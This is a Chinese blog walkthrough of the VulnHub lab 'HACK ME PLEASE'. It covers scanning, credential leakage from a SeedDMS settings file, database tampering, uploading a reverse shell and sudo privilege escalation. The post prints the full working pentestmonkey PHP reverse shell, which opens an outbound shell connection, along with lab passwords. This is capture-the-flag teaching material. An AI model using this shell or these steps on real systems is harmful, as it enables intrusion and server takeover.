• vulnhub靶场之HACK ME PLEASE


    准备:

    攻击机:虚拟机kali、本机win10。

    靶机:HACK ME PLEASE,下载地址:https://download.vulnhub.com/hackmeplease/Hack_Me_Please.rar,下载后直接vbox打开即可。

    知识点:seeddms框架、敏感信息泄露、shell上传、目录扫描(较多)。

    信息收集:

    通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 192.168.110.0/24,获得靶机地址:192.168.110.4。

    扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.110.4,显示开放了80、3306、33060端口,开启了apache、mysql服务。

    目录扫描:

    使用dirmap进行目录扫描,发现了一些图片文件和js文件,在http://192.168.110.4/js/main.js文件中发现了一个目录信息:/seeddms51x/seeddms-5.1.22/。

    对新发现的两个目录进行扫描,发现了/conf、/data、/doc、/inc等目录和文件,登录界面:http://192.168.110.4//seeddms51x/seeddms-5.1.22/out/out.ViewFolder.php,但是缺少账号和密码,也简单测试了下注入未成功。

    对conf目录进行扫描,发现了/seeddms51x/conf/settings.xml,访问该文件查看是否隐藏有账户信息,意外发现了数据库的账号和密码信息:seeddms/seeddms。

    数据库连接和web登录:

    使用账户信息:seeddms/seeddms在navicat客户端进行连接,查看下数据库内的信息,在tblUsers中发现账户admin和其密码信息:admin

    /f9ef2c539bad8a6d2f3432b6d49ab51a、以及:saket/Saket@#$1337。

    修改数据库中admin账户的密码信息,在加密网站随便加密一串字符串,这里用的是upfine,将加密的字符串替换掉原来的加密字符串。

    使用已知的账户名:admin和修改的密码:upfine,在http://192.168.110.4/seeddms51x/seeddms-5.1.22/out/out.ViewFolder.php界面进行登录。

    获取shell:

    在登录的web中发现了一处上传功能,上传shell反弹脚本,脚本内容可在:https://www.revshells.com/网站中获取,选取PHP PentestMonkey模块即可,或复制下面代码。

    shell反弹脚本
    
    
    // php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
    // Copyright (C) 2007 pentestmonkey@pentestmonkey.net
    
    set_time_limit (0);
    $VERSION = "1.0";
    $ip = '192.168.110.4';
    $port = 6688;
    $chunk_size = 1400;
    $write_a = null;
    $error_a = null;
    $shell = 'uname -a; w; id; sh -i';
    $daemon = 0;
    $debug = 0;
    
    if (function_exists('pcntl_fork')) {
    	$pid = pcntl_fork();
    	
    	if ($pid == -1) {
    		printit("ERROR: Can't fork");
    		exit(1);
    	}
    	
    	if ($pid) {
    		exit(0);  // Parent exits
    	}
    	if (posix_setsid() == -1) {
    		printit("Error: Can't setsid()");
    		exit(1);
    	}
    
    	$daemon = 1;
    } else {
    	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
    }
    
    chdir("/");
    
    umask(0);
    
    // Open reverse connection
    $sock = fsockopen($ip, $port, $errno, $errstr, 30);
    if (!$sock) {
    	printit("$errstr ($errno)");
    	exit(1);
    }
    
    $descriptorspec = array(
       0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
       1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
       2 => array("pipe", "w")   // stderr is a pipe that the child will write to
    );
    
    $process = proc_open($shell, $descriptorspec, $pipes);
    
    if (!is_resource($process)) {
    	printit("ERROR: Can't spawn shell");
    	exit(1);
    }
    
    stream_set_blocking($pipes[0], 0);
    stream_set_blocking($pipes[1], 0);
    stream_set_blocking($pipes[2], 0);
    stream_set_blocking($sock, 0);
    
    printit("Successfully opened reverse shell to $ip:$port");
    
    while (1) {
    	if (feof($sock)) {
    		printit("ERROR: Shell connection terminated");
    		break;
    	}
    
    	if (feof($pipes[1])) {
    		printit("ERROR: Shell process terminated");
    		break;
    	}
    
    	$read_a = array($sock, $pipes[1], $pipes[2]);
    	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
    
    	if (in_array($sock, $read_a)) {
    		if ($debug) printit("SOCK READ");
    		$input = fread($sock, $chunk_size);
    		if ($debug) printit("SOCK: $input");
    		fwrite($pipes[0], $input);
    	}
    
    	if (in_array($pipes[1], $read_a)) {
    		if ($debug) printit("STDOUT READ");
    		$input = fread($pipes[1], $chunk_size);
    		if ($debug) printit("STDOUT: $input");
    		fwrite($sock, $input);
    	}
    
    	if (in_array($pipes[2], $read_a)) {
    		if ($debug) printit("STDERR READ");
    		$input = fread($pipes[2], $chunk_size);
    		if ($debug) printit("STDERR: $input");
    		fwrite($sock, $input);
    	}
    }
    
    fclose($sock);
    fclose($pipes[0]);
    fclose($pipes[1]);
    fclose($pipes[2]);
    proc_close($process);
    
    function printit ($string) {
    	if (!$daemon) {
    		print "$string\n";
    	}
    }
    
    ?>

    使用上传功能上传shell.php脚本信息,上传之后会显示错误信息,但是在主目录下是可以正常看到上传的shell文件的。

    然后需要查找下上传文件的目录信息,在下载的seeddms框架中找到了其数据存放的目录为1048576,因此对靶机该目录进行扫描,命令:dirsearch -u http://192.168.110.4/seeddms51x/data/1048576 -e *,发现了/1048576/6目录,继续对此目录进行扫描,发现了1.php文件。

    kali端开启对6688端口的监听,然后访问该php文件,成功获得shell权限。

    提权:

    前往/home目录下简单的查看下都有哪些账户,发现了账户saket,前面在数据库中获得了这个账户的密码:Saket@#$1337,因此我们可以直接切换到saket账户。

    查看下当前账户是否存在可以使用的特权命令,sudo -l,显示是all,那就直接sudo su提权到root就好了。



    如果您觉得阅读本文对您有帮助,请点一下“推荐”按钮,您的“推荐”将是我最大的写作动力!欢迎各位转载,但是未经作者本人同意,转载文章之后必须在文章页面明显位置给出作者和原文连接,否则保留追究法律责任的权利。
  • 相关阅读:
    Spring之Bean生命周期源码解析
    Java 多线程(四):锁(二)
    Excel VSTO开发8 -相关控件
    MATLB|改进的前推回代法求解低压配电网潮流
    如何快速高效压缩图片?
    Web前端系列技术之Web APIs基础(从基础开始)②
    【毕业设计】Stm32单片机的音乐播放器设计 - 物联网 嵌入式
    2023_Spark_实验十二:Spark高级算子使用
    怎么恢复永久删除的文件?这3个方法很实用!
    在conda创建的虚拟环境中安装jupyter以及使用
  • 原文地址:https://www.cnblogs.com/upfine/p/16938614.html